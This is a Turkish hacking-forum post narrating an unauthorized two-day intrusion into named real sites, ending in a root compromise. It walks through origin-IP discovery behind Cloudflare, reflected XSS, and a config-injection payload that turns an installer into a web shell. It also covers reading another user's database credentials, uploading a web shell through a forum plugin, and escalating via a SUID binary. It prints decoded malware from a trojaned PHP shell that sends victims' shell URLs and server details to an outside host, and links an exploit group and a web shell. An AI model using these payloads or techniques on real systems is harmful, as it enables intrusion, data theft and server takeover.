exploit paylaşım grubumuz: t.me/HTTPwnn

imhateam.org'u nasıl hackledim, mısırını al oku :D

  • Konu başlatıcı Konu başlatıcı moriarty
  • Başlangıç Tarihi Başlangıç Tarihi
Katılım
13 Haz 2026
Mesaj
160
Reaksiyon
233
Puan
43
xentr_thread_starter
SELAMLAR Ben Mori

bugun size 2 gun boyunca imhateam.org u tarayıp ve en sonunda web sunucusuna girip sunucuyu rootlarken bastan sona bu 2 gun icersinde neler yaptım hangi yolları izledim bunlardan bahsedicem.
o zaman herkeslere iyi okumalar diliyorum.
--------------------------------------------------------------
tamam en bastan baslıyalım, imhateam.org açtım ve inceledim
guzel koklu bir hacking forumuydu burası, xenforo forum yazılımını kullanıyordu
1781962283698.png
Sonra bunun nulled (Nulled; lisans kontrolü kaldırılmış veya yetkisiz şekilde dağıtılan yazılım sürümlerini ifade eder) bir xf (xenforo kısaltması) kurulumu olabileceğini düşündüm. Genellikle bu tarz kurulumlarda güncellemeler düzenli takip edilmediğinden, kullanılan sürümün de güncel olmama ihtimali yüksekti. Bu varsayımdan yola çıkarak XenForo'nun son güvenlik duyurularını incelemeye başladım,
https://xenforo.com/community/threa...2-2-19-released-includes-security-fix.236249/
Duyuruda belirtilen ve 2.3.9'dan eski sürümleri etkileyen güvenlik açıklarını hedef sistem üzerinde test etmeye karar verdim.
(ki bunlar cidden buyuk forumları vurmustuk, guveniyodum (https://warnight.pw/threads/altenens-is-hacked.30/) )
(ve biraz tembellik diyelim, hemen olsun bitsin iş :D)
sonra girip sitede bbcode çalışan herangi biyerde hızlıca testledim fakat çıktıda xss oluşmuyordu , bbcode renderer'ını kırıp kendi js kodumuzu çalıştırabiliyoruz normalde bu zafiyet sayesinde
ama ya patch uygulanmıstı sitede , yada forum altyapısı gunceldi
o zaman elleri sıvadım ve dedim bu iş böyle olmucak sağlam bir keşif yapalım tüm attack yapabilceğimiz noktaları sıralandırıp teker teker her olasılıgı deneyelim.
bende düşündüm sırasıyla
  • - güncel temiz bir xf altyapısı
  • - admin.php de bile ön giriş istiyor (2 faktorlu dogrulama)
  • - origin sunucunun önünde cloudflare vardı (origin ipsi elimizde değil yani ne sunucusu bilgilerine bakarız, ne sunucu haakkında info toplayabiliriz sadece domain üzerinden (her gelen request dns cozumlenmesinde cloudflared kendi ara sunucuları üzerinden geciyor ve ordan sunucuya iletiliyor (reverse proxy). yani örneğin bir ddos atmaya dahi çalışsam domain uzerınden en once request cloudflaredın sunucularına gidicek, olayıda bu ya cloudflaredın tüm gelen requestleri dev bir kara delik içinde emmek 😄 tabiki UAM adı verdiğimiz arkadas acık değilse isimiz kolayda orası ap ayrı bi olay, konu dagılmasın. tabiki sadece cloudflared amacı ddos'u önlemekte değil, kendi waf hizmetleride var bu sayede web sitesi icinde yaptıgınız istekler cloudflaredın sunucularına iletildiginde analiz edilir ve eğerki zararlı payload görülürse 403 sayfası render edilir, bu field icin cloudflaredın dashboardından ozelligi acmalısınız )
  • - fakaat burda uam acık değilse yani kolayca dizin taraması yapabilirdim hemde bi tık hızlı olucaktı cunku esasında cf'nin kendi sunucuları uzerınden tarıcaz dizinleri xdxd
  • - bi yandanda origin ip tespiti yapmaya baslamıstım
  • - bi yandanda subları cıkartmaya calıstım
ve bi yandanda manuel analiz yaptım
işte bu forum kimin, bu forumun sahibinin baska sitesi / forumu varmı
hizmet sundugu siteler vs. varmı
spyhackerz.org çıktı ordanda
sonra devam ettim işime
subdomainleri bu sekildeydi
1781963325901.png

1781963346207.png
ikisininde main domaini cfye baglıydı, sonrasında tum hepsinin ipsini sıralandırdım ve gordugum kadarıyla hepsinin arasında spyhackerz.org da bi tanesinin subdomaini cf dashboarddan proxy ayarı acılmamıstı
1781963849126.png
haliyle bu sayede origin ip ifsa olmustu
https://ws.spyhackerz.org [194.110.169.179]
bir atak vektorumuz cıkmıstı simdiden
sonrasında ip hakkında info toplamaya basladım
o ipde barınan tüm domainleri sıralamak icin Host parametresine hedef domaini yazıp responseları inceledim (burdaki amacımız hedef sunucunun ip'sine ben "spyhackerz.org" dan http'ye bağlanmak istiyorum demektir, sunucunun bize sundugu yanıta göre domainin sunucuya baglantı varmı yokmu anlamıs oluruz)
1781963848763.png
spyhackerz.org buradaydı harika
imhateam.org a baktım sonrasında
1781963865205.png
cıkmıstı fakat bisi vardı , o an imhateam.org bakımda dğeildiki?
bu spyhackerz.org'un sunucusunda duran baska bir site icerigiydi
imhateam.org orada barınmıyordu
imhateam.org tamamen baska biyerde barınıyordu bu onu belli etmisti
yani hedefimle aynı sunucuya değildi spyhackerz
ama devam ettim spyhackerzdaki subdomainleri sıralandırmaya yani hangisi spyhackerzla aynı sunucuda hangisi değil diye bakmaya
cunku 2 tane sunucu var gibi gozukuyor
ya imhanın sunucusunda hedef domain
yada spyhackerzın sunucusunda
encoder.spyhackerz.org
bingo
1781963927277.png
encoder subdomaini hedef listemize girmişti
spyhackerz.orgla aynı serverda değil
paste. subdomainide aynı sekildeydi
1781963951727.png
chat subdomainide
mail subdomaini ama spyhackerzla aynı sunucudaydı-ki
1781963976789.png
olması gerekende buydu
phpshell. subdomainide gene aynı sunucuda değildi spyhackerz.org'la
1781964003580.png
harika sonuc almıstık
totalde 4 tane daha saldırı yapabilcegimiz vektor ortaya cıkmıstı (paste.spyhackerz.org,chat.spyhackerz.org,phpshell.spyhackerz.org,encoder.spyhackerz.org)
herangi birini hacklersek
sunucuda imhateam.org'ada girebilirdik
sonrasında devam ettim ve bu domainleri analiz etmeye basladım
(üzgünüm görseller cok kullanamıcam bu bolumde cunku sunucuya girip rootladıktan sonra tum siteleri silmistim, suan sublara erisim 0 :( )
paste.spyhackerz.org incelemeye basladım tatlı ve guzeldi pastebinin sanki Türk versiyonu gibiydi, priv/pub pasteler acabilir veya acılan pasteleri inceleyebiliyorduk
cok fazla fonksyion yoktu
onundede cf waf'ı aktifti
paste kısımlarında xss test ettim fakat tum yazılan payloadlar sanitize edilip kullanıcının onune sunuluyordu, sql injection denedim gene paste idleri uzerınden fakat sonuc yoktu
ve tüm pasteleri inceledim bi tanesinde şunu gördüm:
1781964268205.png
seklinde bir paste gormustum
vee ilk aklıma sql injection, config injection, connection string injection gelmisti:
db bilgilerini kullanıcıdan alsaydı neler yapabilirdik soruları aklımda canlanmıstı suan bu sayfada olmasada database username dahi bizden alsaydı connection stringi bozarak "allowLoadLocalInfile=1" gibi bir field ekleyerek biryerde sql injection bulursak lfi olusturabiliriz
veyaa kullanıcıdan alıyorsa ve sonrasında o config belgelerini bir belgeye yazıyorsa
config injection yaparak
belgeye kendi istedigimiz veriyi yazadabiliriz
escape atmıyorsa egerki yazılan config bilgilerine
(burayı daha iyi anlıaksınız birazcık ilerde yazdıklarımla)
kısaca aklımda suphe uyandırmıstı bu
vee not defterime bunuda not almıstım
ek olarak tamamen sample random bir config icerigiydi cidden db icerigi değildi bu pastedeki icerik
paste subdomaininden hayır cıkmıcagı belli olmustu
tam gaz devam ettim
1781964611653.png
"phpshell.spyhackerz.org" gozume oyle bir carpmıstıki gunes yanıgı olusmustu gozumde:D:D:D:D
ve buna bakmalıyım amk dedim iicine girdim ve icerde gordugum su sahne vardı:
1781964674561.png
burnuma kotu kokular gelmeye baslamıstı, siteyi biraz incelediğimde kısaca amacının websheller sunmak oldugu anlasılıyordu
frontend tarafındaki kodunu okumaya basladım, neler var neler yok, yazan kisi kim ve nasıl bir mantıkla yazmıs? kavramaya calıstım
ve gorunen oyduki apacık ai ile yazılmıs ve "owasp top ten zafiyetlerine dikkat ederek kodla" talimatı verilerek hazırlanmıs basit bir siteydi
tatlıydı vee amacı iyi gibi duruyordu taa ki
bir site hackledin ve shell atıcaksın gelişmiş olmalı kaliteli olmalı
webshell arıyosun arıyosun bulamıyorsun
burası cıkıyor onune ve birisini indirip web servera yukleyip kullanıyorsun
cok iyi değilmi?
- değil
burdaki ana sorun sundukları hizmet değil sunulan hizmetin arkasında istenilen bir peynir 😄
işte o peynirde -> sizin ugrasa ugrasa hacklediğiniz web sitesinin webshell urlsi
yani sen gittin bir site hackledin shell attın icine girdin
ve anında javascript/php ile bulundugun urlyi,domaini,ipyi alıp hackerın sunucusuna yollanıyordu
kısaca loglu shelldi tamamen nerdeyse hepsi
ve bunu canlı gostermem gerekirse:
1781964838945.png
gecko-new diye sundukları bir php shell içinde en son satırı bu sekildeydi
PHP:
<?php $woahqrgs='base'.(32+32).'_decode'; $uwykjpyf='VmpKMGExWXl...';
5 kere art arta encode edilmis base64 string
decode edince ne cıkıyor derseniz
bu kod cıkıyordu

PHP:
define('LOG_PANEL_URL', 'https://chr0nic.com/stamp/log-receiver.php'); define('AUTHORIZED_DOMAINS', serialize(['localhost', '127.0.0.1', 'chr0nic.com'])); function sendUsageLog() { $realDomain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'Unknown'; $isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443 || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on'); $protocol = $isHttps ? 'https://' : 'http://'; $requestUri = $_SERVER['REQUEST_URI'] ?? '/'; $fullUrl = $protocol . $realDomain . $requestUri; $scriptName = $_SERVER['SCRIPT_NAME'] ?? ''; $scriptUrl = $scriptName ? ($protocol . $realDomain . $scriptName) : $fullUrl; $realIp = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; if (strpos($realIp, ',') !== false) { $realIp = trim(explode(',', $realIp)[0]); } $logData = [ 'domain' => $realDomain, 'full_url' => $fullUrl, 'script_url' => $scriptUrl, 'ip' => $realIp, 'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown', 'request_uri' => $requestUri, 'request_method' => $_SERVER['REQUEST_METHOD'] ?? 'GET', 'referer' => $_SERVER['HTTP_REFERER'] ?? 'Direct', 'server_name' => $_SERVER['SERVER_NAME'] ?? 'Unknown', 'server_addr' => $_SERVER['SERVER_ADDR'] ?? 'Unknown', 'script_path' => $_SERVER['SCRIPT_FILENAME'] ?? __FILE__, 'script_name' => $scriptName, 'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? 'Unknown', 'timestamp' => date('Y-m-d H:i:s'), 'php_version' => phpversion(), 'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown', 'query_string' => $_SERVER['QUERY_STRING'] ?? '' ]; $authorizedDomains = unserialize(AUTHORIZED_DOMAINS); $isAuthorized = false; foreach ($authorizedDomains as $domain) { if (strpos($logData['domain'], $domain) !== false) { $isAuthorized = true; break; } } $logData['is_authorized'] = $isAuthorized ? 1 : 0; if (function_exists('curl_init')) { $ch = curl_init(LOG_PANEL_URL); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($logData), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_CONNECTTIMEOUT => 2, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTPHEADER => [ 'Content-Type: application/x-www-form-urlencoded', 'User-Agent: Mozilla/5.0' ] ]); @curl_exec($ch); curl_close($ch); return; } if (ini_get('allow_url_fopen')) { $options = [ 'http' => [ 'method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query($logData), 'timeout' => 3, 'ignore_errors' => true ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]; $context = stream_context_create($options); @file_get_contents(LOG_PANEL_URL, false, $context); return; } if (function_exists('fsockopen')) { $url = parse_url(LOG_PANEL_URL); $host = $url['host']; $path = $url['path'] ?? '/'; $port = $url['scheme'] === 'https' ? 443 : 80; $postData = http_build_query($logData); $request = "POST {$path} HTTP/1.1\r\n"; $request .= "Host: {$host}\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Content-Length: " . strlen($postData) . "\r\n"; $request .= "Connection: Close\r\n\r\n"; $request .= $postData; $fp = @fsockopen($host, $port, $errno, $errstr, 2); if ($fp) { @fwrite($fp, $request); @fclose($fp); } } } function sendUsageLogJS() { $logData = [ 'ip' => $_SERVER['REMOTE_ADDR'] ?? 'Unknown', 'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown', 'timestamp' => date('Y-m-d H:i:s') ]; echo '<script> (function(){ try { // JavaScript ile ger�ek domain ve URL\'yi yakala var data = { domain: window.location.hostname, full_url: window.location.href, script_url: window.location.protocol + "//" + window.location.host + window.location.pathname, ip: "' . ($logData['ip']) . '", user_agent: navigator.userAgent, request_uri: window.location.pathname + window.location.search, referer: document.referrer || "Direct", timestamp: "' . $logData['timestamp'] . '", query_string: window.location.search }; var xhr = new XMLHttpRequest(); xhr.open("POST", "' . LOG_PANEL_URL . '", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send(Object.keys(data).map(k => k + "=" + encodeURIComponent(data[k])).join("&")); } catch(e) { // Fetch API fallback fetch("' . LOG_PANEL_URL . '", { method: "POST", headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: new URLSearchParams({ domain: window.location.hostname, full_url: window.location.href, timestamp: "' . $logData['timestamp'] . '" }) }).catch(()=>{}); } })(); </script>'; } function asyncSendLog() { $realDomain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'Unknown'; $isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443; $protocol = $isHttps ? 'https://' : 'http://'; $fullUrl = $protocol . $realDomain . ($_SERVER['REQUEST_URI'] ?? '/'); $realIp = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; if (strpos($realIp, ',') !== false) { $realIp = trim(explode(',', $realIp)[0]); } if (function_exists('exec')) { $cmd = sprintf( 'curl -X POST "%s" -d "%s" > /dev/null 2>&1 &', LOG_PANEL_URL, http_build_query([ 'domain' => $realDomain, 'full_url' => $fullUrl, 'ip' => $realIp, 'timestamp' => date('Y-m-d H:i:s') ]) ); @exec($cmd); } } @sendUsageLog(); @asyncSendLog(); @sendUsageLogJS(); $authorizedDomains = unserialize(AUTHORIZED_DOMAINS); $currentDomain = $_SERVER['HTTP_HOST'] ?? 'Unknown'; $isAuthorized = false; foreach ($authorizedDomains as $domain) { if (strpos($currentDomain, $domain) !== false) { $isAuthorized = true; break; } }

sabit tanımlanmıs olan https://chr0nic.com/stamp/log-receiver.php endpointine
------------------
domain, full_url, script_url → shell'in tam adresi
ip → ziyaretçinin gerçek IP'si (CF-Connecting-IP öncelikli)
user_agent, referer → tarayıcı bilgisi
server_addr, document_root → sunucu iç yapısı
script_path (__FILE__) → sunucudaki tam dosya yolu
php_version, server_software → teknoloji parmak izi
timestamp → erişim zamanı
------------------
verilerini yolluyordu
shell calıstıgı an
3 tane fallback mekanizması vardı
yani birisinden yollaması basarısız olursa
diğerine geciyordu
1. curl_exec() → birincil, async, 3sn timeout
2. file_get_contents → allow_url_fopen açıksa
3. fsockopen() → raw TCP, her zaman çalışır

fakat hic bilmedigimiz ve on planda olmayan
yeni bir atak vektoru canlanmıstı
"chr0nic.com"
imhateam'i kronik edicek domain, chr0nic.com 😄
domaini analiz etmeye koyuldum:
keşife ilk olarak origin ip ve dizin taramasından basladım
gene main domain cf kaydı vardı fakatt subdomain taraması sonucu bir domain ortaya cıktı:
**webhook.chr0nic.com**
ve bundaki hata ne derseniz, cf kaydı yapılmamıstı
sonuclar harikaydı
ve artık elimizde yeni bir sunucu , veyaaa bildigimiz ama sunucu ipsini bilmedigimiz bir sunucunun
origin ipsi gecmisti :))
- 51.75.78.221 -
pekii bi tarayalım, imhateam.org burdamı barınıyordu yoksa?
1781966213476.png
ve evet, imhateam.org un asıl origin ipsini bulmustuk
peki simdi ne yapıcaz diyor insan
- hedef shared hosttamı -> evet -> aynı sunucuda barınan dğer sitelerden sunucuya gir
- hedefin hostingi nere / hostingte zafiyet olabilirmi
- veya dumduz chr0nic'in web scriptinde zafiyet olabilirmii??
sırayla her durumu test ediyoruz
shared hosting değil ovh den private sunucu alınmıs bicimde
yani sunucudaki her config, her koruma yapısı sunucu adminine baglı 🙂
simdi yaptıklarım ise
ip adresini reconlamak, acık portlarını sıralandırtmak ve yeni atak vektorleri olusturmaktır
cp.imhatimi.com
vps-f9cf0fa2.vps.ovh.net
wolwarez.com
www.wolwarez.com
chr0nic.com
bu sunucuda bulunan sırasıyla domainler bunlardı, en azından kör hal ile çıkarttıklaırmdı bunlar
sonrasında wolwarezi inceledim
- imtdeki bir uyenin kendi warez forumuydu
- pluginleri ve etkilesim kurabilcegim genel seylere baktım
- siropu chat vardı
en son çare oradan yurucektim, kenarda beklettim o olasılıgı.
sonrasında geri chr0nic.com'a ve dizin taraması+script analizi yaptım
owasp top ten checkledim hızlıca sitede
arama yapma yerinde path disclosure oluyordu
/home/chr0nic.com/public_html/
bu değerliydi esasında cunku shared host olsaydı ve apache kullansaydı web sunucusu olarak ve mod_userdir acık olsaydı
ip.ip.ip.ip/~username/ ile hedef sitenin kullanıcı adını yazarak web root'unu okuyabilirdim
bundan yola cıkarakta hem cors varsa bypasslamıs olurdum hemde client side saldırılarının amına koyardım
fakaat shared host değildi, bu yapılandırma acık değildi default olarak, es gectim
devam ettim analize:
ui böyleydi ve ekranda bir tanede blog vardı
1781966213721.png
hızlıca sql inj varmı yokmu diye baktım o kısımlara ve arama kısmında aratmaların sonuclarını nasıl yazılıyor diye baktım
kısaca bi zafiuet yoktu buralarda
dizin tarama sonucları gelmisti
https://chr0nic.com/admin/
admin giriş arayuzu vardı , unauth erişim icin onlem alınmıstı
web root altındaki ilk dizin taraması sonucsuzdu
sonra aklıma webshell loglamaıs yapılan endpointin oldugu dizin geldi
https://chr0nic.com/stamp/
burayada bir tarama yaptım
https://chr0nic.com/stamp/debug.log ve https://chr0nic.com/stamp/panel.php cıkmıstı
vaybe dedim debug.log inceleyince
şunu yapmışlardı:
her gelen webshell yukleme istediginin dump request hali loglanıyordu
tam olarak şu şekildeydi içi:
1781966213507.png
şaşırtıcı ve aptalcaydı acıkcası, fakat kim gelipte buraya bakar diye dusunuyor insan bunu yaparken :<
her loglanan shell'e ve bilgilerine erişim saglamıstık bile ::>>
fakat yeterli değildi
hedefimiz esasında imhateam.org du
devam ettim
daha buyuk bir liste ile tarama yapınca -> /installer.php isimli bir belge oldugu ortaya cıktı
icine girince ise blog sitesnin kurulum sayfası cıkıyordu
1781966267361.png
peki düşünün burda neler deneyebiliriz?
ben şunları düşündüm
- kendi databaseimize baglayıp kalıcılık saglayabilirdik ve istedigimiz zaman admin olusturup girebilirdik blog'a
- xss, db username yanlıs girince veya baglantı basarısız olunca ekranda ordaki herangi bi name'i örneğin db username i basıyorsa ki basıyor ve bunu sanitize etmeden basıyorsa, reflected based post xss olusuyordu
ve her ikiside calıstı
1781966434827.png
istersem site acıp girildiği an post req i tetikleyecek ve buraya redirect edicek ve payload olarakta document.cookie calıstırıp cookieleri alıp kendime aktarabilirdim
ki httponly dahi acık değildi kısaca pek engel olcak bisi yoktu bana (httponly: javascript ile cookielerin okunmasını engelleyen bir client side flagdır)
fakaat bana daha havalı ve dahaa nasıl desem hızlı sonuc alıcagım bir yol gerektigini istiyordum
cunku 2.gunun gecesindeydim ve artık bişeylere ulasmak istiyordum
bi tık sıkılma gelmisti
dusundum ne yapabiliriz diye
veee aklıma
- config file injection geldi
bu mahlukat nedir derseniz : şöyleki şimdi installer'da sizden bazı bilgiler alıyor değilmi
db name, db username, db server , db password
sonra ne yapıcak bunları
alıp biryere kaydedicekki
onu her sayfada cagırıcak
yani depolamaya kaydetmesi gerek işte
ramde tutamazya bu verileri
haliyle config.php veya o verileri kaydediceği bir belgeye bunları yazıyor
daha iyi anlamanız acısından:
sen bir filsin, adın ahmet
zekisin ve basit birisin
installer.php'ye girdin ve db bilgilerini yazdın
<?php
define('DB_HOST', 'localhost');
define('DB_USER', 'normal_user');
define('DB_PASS', 'sifre123');
define('DB_NAME','db_namelalalala');
define('SITE_NAME','babaprolar')
ve installer.php o verileri alıp -> config.php ye yazdı
şu şekilde bir içerik oluştu ve altındada database e baglanma kodu varsayalım
peki şimdi bir tanede maymun düşünün ismide necmi
basit birisi değil, sacma dusunerek yapar herseyi
ve bu senaryoda ise şunu dusunuyor
burda nasıl configi bozarım, configden shell elde ederim 😄
ve şunu yapıyor
sırasıyla burda alınan inputlara verileri yazıyor
db_username=necminin_dbusername
db_passwd=necminin_db_passwordu
db_server=necminin_mysql_baslattigi_sunucu_ip/domain
db_name=necminin_db_adi
fakaat site_name degeri olarak ise şunu yazıyor
'); system($_GET['cmd']
ve sonucta ne olusuyor derseniz
<?php
define('DB_HOST', 'localhost');
define('DB_USER', 'normal_user');
define('DB_PASS', 'sifre123');
define('DB_NAME','db_namelalalala');
define('SITE_NAME','babaprolar');
system($_GET['cmd'] );
yaptıgı sey ise config.php den gelen her get isteginde cmd key'inden gelen her komutu alıp calıstır ve yanıtı ekrana bas diyor
ve dumduz config.php ye yazılırsa bu
neden calısmasınki değilmi 🙂
fix'i nasıl olur diye dusunuyorsanız
hic php belgesine yazmayabiliriz config.json yazıp webden erisimi kısıtlarız okey:D
veyaaa
function sanitize_config_value(string $value): string {
// Sadece harf, rakam, nokta, tire, alt çizgi
if (!preg_match('/^[a-zA-Z0-9.\-_]+$/', $value)) {
throw new InvalidArgumentException('Geçersiz karakter');
}
return $value;
}
seklinde bir fonksiyonla gelen veriyi kontrol et egerki sıkıntı varsa siktiri cek elemana
========
şimdi bunu pratiğe dokelim ve live olarak deneyelim
site url input'une gidip
"
site_url = http://chr0nic.com';
system($_GET['cmd']);
$x='
"
şeklinde value'sini yazdım ve kendi vps/vds/hostumda mysql baslatıp dısa acıp baglantı bilgilerini yazıp
calıstırdım
config.php ye gittim ve ekranda birşey yazıyordu
"Warning: Undefined array key "cmd" in /home/chr0nic.com/public_html/config.php on line 7"
basarmıstım, ?cmd parametresi eksik diyordu türkçe olarak
?cmd=dir yazdım ve
1781966502568.png
artık bir webshellimiz vardı icerde, o an havaya uçmuştum halimi görmeliydiniz amk PWEOJWKL
bende iceri saglam bir webshell soktum ui'ı olan kolay yonetimi olan ve ordan devam ettim işine
https://raw.githubusercontent.com/onemoriarty/moriartyhacked/refs/heads/main/wp-includes.php kullandıgım webshell buydu (alfa shell)
sıradaki hedefimiz artık, sunucuyu rootlamaktı
1781966583624.png
onu nasıl yaptıgıma gelirsek, id komutu sonucu uid=5005(chrni2148) gid=5005(chrni2148) donmustu
bu yuzden roota girmeliydik cunku suanlık biz
chr0nic.com daki dizinlere erisebiliyorduk sadece
bende cat /etc/passwd yazıp bi baktım kimler var kimler yok
ana baba gunu gibiyd icersi::D:D
fakat hem ss olmadıgındn hemde ifsa etmemek adına atmıyom onu, ve cyber panelde guncel versiyondaydı,ve kernel expide yoktu
bildigin kısıtlanmıstım :/
ama esasında burayı profesyonel bir server admini dizmemisti bir hack forum sahibi dizdi :d
/var/lib/mysql altındada tum sitelerin dbleri vardı fakaat gene sadece max isimlerini gorebiliyorduk okuma, yazma, update vs. hicbir iznimiz yoktu
ve /etc/passwd sonucu her kullanıcının dizinine brute force attım
ls /home/username/public_html/
baktım okuyabildigimiz birisi varmı diye , veee cidden bu kısımda sanslıydım
hedefimiz olan
imhateam.org un kullanıcısı olan imha1234'ün web rootunu okuyabilir, belge iclerini inceleyebiliyorduk
cat /home/imha1234/public_html/forum/src/config.php okudum vee
database bilgilerini ele gecirdim sonra chr0n.com a adminer kurup icine girdim
ve ordanda admine kaydım xenforodan admin.php den girincede
plugin yukleme acıktı, ordanda websh3ll yukledim
sonrasındada artık imt elimdeydi, root nasıl oldum derseniz o da şöyle yasandı:
ama ilk temel terimler:
suid nedir ?
acılımı
**Set User ID**
yani kullanıcı idsi set et demektir.
ve bir programı calıstırınca senin kim olduguna bakarak calıstırır
yani whoami yazınca -> necmi sonucunumu aldın
o zaman ls /root/ yazınca permission denied alıcaz yani yetkimiz yok , aşağıdaki resme göre
1781966755604.png
r = read (okuma)
w = write (yazma)
x = execute (çalıştırma)
"-" = yok (o izin verilmemiş)
==========
--- hiçbir şey yapamaz
r-- sadece okur
-w- sadece yazar (nadir, mantıksız)
--x sadece çalıştırır (içini okuyamaz)
rw- okur + yazar, çalıştıramaz
r-x okur + çalıştırır, yazamaz
-wx yazar + çalıştırır, okuyamaz (nadir)
rwx her şeyi yapabilir
========
1781966768587.png
kısaca anlamıssındır suid olayını , chmod un amacını change moderation yani yetkisini değiştiriyoruz oranın
suid'nin temelde yani : bir programı calıstıran kisinin değil, dosyanın sahibinin yetkisiyle calıstırmaktır
find komutuyla suidleri arayabiliriz mesela
find / -perm /4000
burdaki 4000 in amacı bana suid bitlerini getir demektir
basa 4 yazmamızın nedenide
1781966787599.png
suidyi temsil etmesidir
suidleri bulmak icindir
evet şimdi örnek göstereyim
find komutu uzerınden
normalde amacı dosya aramaktır belge aramaktır
fakat -exec ile komutta calıstrabilir
ve suid tanımlıysa
rootta komut calıstırabiliriz
ve bizim senaryomuzda ise şu yasanıyor
suid bitleri cıkartılıyor
ve hole adında kullanıcı var ve kendi suid bitini tanımlamıs sistem admini buna
adıda hole kullanıcının
/usr/bin/hole icinde calısıyor ve
-rwsr-xr-x root root /usr/bin/hole
rootta calısıyor
ornek binary yapısı su halde:

int main(int argc, char *argv[]) {
char *hardcoded_pass = "sikiderman";
if (strcmp(argv[1], hardcoded_pass) == 0) {
setuid(0); // root'a geç
execvp(argv[2], ...); // verilen programı root olarak çalıştır
} else {
printf("Wrong password\n");
}
}

kısaca sikirderman girmezsek
laak gidiyoki siktir ol git
ama arguman 1 e eger sikiderman dersek ve dogru yazdıysak yani ve arguman ikiyede komutumuzu yazdıysak
artık rootta komutumuzu calıstırabiliriz demektir
strings /usr/bin/hole | grep -v "^.\{50,\}$"
yazıyorum ve icinde sikiderman diye bisi cıkıyor
/usr/bin/hole sikiderman dir
yazıyorum dizinleri listeliyor
/usr/bin/hole whoami yazıyorum
ve istedigimiz olay
1781966816983.png
karelerden görüntüler :d
1781966828537.png
----
1781966842351.png
---
1781966864280.png
okudugunuz icin tesekkurler
 

Ekli Dosyalar

  • 1781967934729.png
    1781967934729.png
    34.2 KB · Görüntülenme: 20
SELAMLAR Ben Mori

bugun size 2 gun boyunca imhateam.org u tarayıp ve en sonunda web sunucusuna girip sunucuyu rootlarken bastan sona bu 2 gun icersinde neler yaptım hangi yolları izledim bunlardan bahsedicem.
o zaman herkeslere iyi okumalar diliyorum.
--------------------------------------------------------------
tamam en bastan baslıyalım, imhateam.org açtım ve inceledim
guzel koklu bir hacking forumuydu burası, xenforo forum yazılımını kullanıyordu
Ek dosyayı görüntüle: 100
Sonra bunun nulled (Nulled; lisans kontrolü kaldırılmış veya yetkisiz şekilde dağıtılan yazılım sürümlerini ifade eder) bir xf (xenforo kısaltması) kurulumu olabileceğini düşündüm. Genellikle bu tarz kurulumlarda güncellemeler düzenli takip edilmediğinden, kullanılan sürümün de güncel olmama ihtimali yüksekti. Bu varsayımdan yola çıkarak XenForo'nun son güvenlik duyurularını incelemeye başladım,
https://xenforo.com/community/threa...2-2-19-released-includes-security-fix.236249/
Duyuruda belirtilen ve 2.3.9'dan eski sürümleri etkileyen güvenlik açıklarını hedef sistem üzerinde test etmeye karar verdim.
(ki bunlar cidden buyuk forumları vurmustuk, guveniyodum (https://warnight.pw/threads/altenens-is-hacked.30/) )
(ve biraz tembellik diyelim, hemen olsun bitsin iş :D)
sonra girip sitede bbcode çalışan herangi biyerde hızlıca testledim fakat çıktıda xss oluşmuyordu , bbcode renderer'ını kırıp kendi js kodumuzu çalıştırabiliyoruz normalde bu zafiyet sayesinde
ama ya patch uygulanmıstı sitede , yada forum altyapısı gunceldi
o zaman elleri sıvadım ve dedim bu iş böyle olmucak sağlam bir keşif yapalım tüm attack yapabilceğimiz noktaları sıralandırıp teker teker her olasılıgı deneyelim.
bende düşündüm sırasıyla
  • - güncel temiz bir xf altyapısı
  • - admin.php de bile ön giriş istiyor (2 faktorlu dogrulama)
  • - origin sunucunun önünde cloudflare vardı (origin ipsi elimizde değil yani ne sunucusu bilgilerine bakarız, ne sunucu haakkında info toplayabiliriz sadece domain üzerinden (her gelen request dns cozumlenmesinde cloudflared kendi ara sunucuları üzerinden geciyor ve ordan sunucuya iletiliyor (reverse proxy). yani örneğin bir ddos atmaya dahi çalışsam domain uzerınden en once request cloudflaredın sunucularına gidicek, olayıda bu ya cloudflaredın tüm gelen requestleri dev bir kara delik içinde emmek 😄 tabiki UAM adı verdiğimiz arkadas acık değilse isimiz kolayda orası ap ayrı bi olay, konu dagılmasın. tabiki sadece cloudflared amacı ddos'u önlemekte değil, kendi waf hizmetleride var bu sayede web sitesi icinde yaptıgınız istekler cloudflaredın sunucularına iletildiginde analiz edilir ve eğerki zararlı payload görülürse 403 sayfası render edilir, bu field icin cloudflaredın dashboardından ozelligi acmalısınız )
  • - fakaat burda uam acık değilse yani kolayca dizin taraması yapabilirdim hemde bi tık hızlı olucaktı cunku esasında cf'nin kendi sunucuları uzerınden tarıcaz dizinleri xdxd
